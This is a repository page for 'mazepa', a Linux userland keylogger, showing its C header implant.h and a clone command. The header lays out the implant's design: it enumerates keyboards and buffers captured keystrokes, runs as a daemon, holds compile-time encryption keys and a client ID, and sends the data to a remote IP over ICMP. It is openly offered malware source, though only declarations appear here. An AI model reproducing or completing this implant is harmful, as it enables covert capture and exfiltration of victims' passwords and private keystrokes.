mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
implant.h (3154B)
      1 
      2 #ifndef IMPLANT_H
      3 #define IMPLANT_H
      4 
      5 #include <stdint.h>
      6 #include <sys/queue.h>
      7 #include <sys/types.h>
      8 #include <unistd.h>
      9 
     10 #define _GNU_SOURCE
     11 
     12 #ifdef DEBUG
     13 #include <errno.h>
     14 #endif
     15 
     16 #define QUEUE_BUFFER_SIZE 1024
     17 #define STRING_BUFFER_SIZE 256
     18 #define MAX_KEYBOARDS 16
     19 #define ICMP_DATA_SIZE 56
     20 
     21 #ifdef DEBUG
     22 #define RINGBUF_SIZE 64
     23 #define RINGBUF_FLUSH_THRESHOLD 32
     24 #else
     25 #define RINGBUF_SIZE 512
     26 #define RINGBUF_FLUSH_THRESHOLD (RINGBUF_SIZE - 64)
     27 #endif
     28 
     29 /* will be overriden at compile-time if prod-mode enabled */
     30 #define BLOCK_SIZE 64
     31 #define KEY_SIZE 32
     32 #define IV_SIZE 8
     33 
     34 #define BLOCK ("")
     35 #define KEY ("")
     36 #define IV ("")
     37 
     38 typedef struct ringbuf_s {
     39     uint8_t data[RINGBUF_SIZE];
     40     size_t head;
     41     size_t tail;
     42     size_t count;
     43 } ringbuf_t;
     44 
     45 /*
     46     represents whatever data is currently logged for a single keyboard
     47     also holds its file descriptor
     48 */
     49 typedef struct keyboard_s keyboard_t;
     50 struct keyboard_s {
     51     int fd;
     52 
     53     uint64_t nb_chars;
     54     uint8_t buffer[QUEUE_BUFFER_SIZE];
     55 
     56     int8_t name[STRING_BUFFER_SIZE];
     57     TAILQ_ENTRY(keyboard_s)
     58     devices;
     59 };
     60 
     61 /*
     62     contains project settings, such as target
     63     port & IP address, whether debug mode is enabled
     64     or stuff like this
     65 */
     66 typedef struct implant_s {
     67 
     68     /* remote connection settings */
     69     int8_t ip[STRING_BUFFER_SIZE];
     70     uint8_t disable_net;
     71 
     72     /* keyboard settings (multiple if using dock or something) */
     73     TAILQ_HEAD(listhead, keyboard_s)
     74     kbd;
     75 
     76     uint8_t using_caps_lock;
     77 } implant_t;
     78 
     79 /* will be overriden by make rules if debug mode not enabled */
     80 #define CLIENT_ID ("DEBUG")
     81 
     82 #define SUCCESSFUL 1
     83 #define ERROR 0
     84 
     85 #include <stdio.h> /* necessary for the snprintf in the macro */
     86 #include <syslog.h>
     87 
     88 #ifndef DEBUG_LOG
     89 #define DEBUG_LOG(s, ...)                                           \
     90     do {                                                            \
     91         char data[512] = {0};                                       \
     92         if (0 > snprintf(data, sizeof(data) - 1, s, ##__VA_ARGS__)) \
     93             _exit(1);                                               \
     94         syslog(LOG_NOTICE, data);                                   \
     95     } while (0)
     96 #endif
     97 
     98 #define KEY_PRESSED 1
     99 #define KEY_RELEASED 0
    100 
    101 // opt.c
    102 int run_lexer(int, char **, implant_t *);
    103 
    104 // deamon.c
    105 void daemon_setup(void);
    106 
    107 // kbd.c
    108 uint8_t fetch_available_keyboards(implant_t *instance);
    109 
    110 // utils.c
    111 int8_t file_get_contents(int8_t const *, int8_t **);
    112 int8_t *remove_repeating_whitespaces(int8_t *);
    113 uint32_t array_get_size(int8_t **);
    114 void array_free(int8_t **);
    115 int8_t **array_from_string(const int8_t *, int8_t);
    116 int8_t ascii_to_hex(char input[STRING_BUFFER_SIZE / 2], char output[STRING_BUFFER_SIZE]);
    117 int8_t hex_to_ascii(char input[STRING_BUFFER_SIZE], char output[STRING_BUFFER_SIZE]);
    118 
    119 // ringbuf.c
    120 void ringbuf_init(ringbuf_t *rb);
    121 uint8_t ringbuf_push(ringbuf_t *rb, uint8_t byte);
    122 size_t ringbuf_read(ringbuf_t *rb, uint8_t *dst, size_t len);
    123 int ringbuf_should_flush(ringbuf_t *rb);
    124 
    125 // icmp.c
    126 uint8_t icmp_send(const int8_t *dst_ip, const uint8_t *payload, size_t len);
    127 
    128 // evloop.c
    129 uint8_t evloop_run(implant_t *instance);
    130 
    131 #endif /* IMPLANT_H */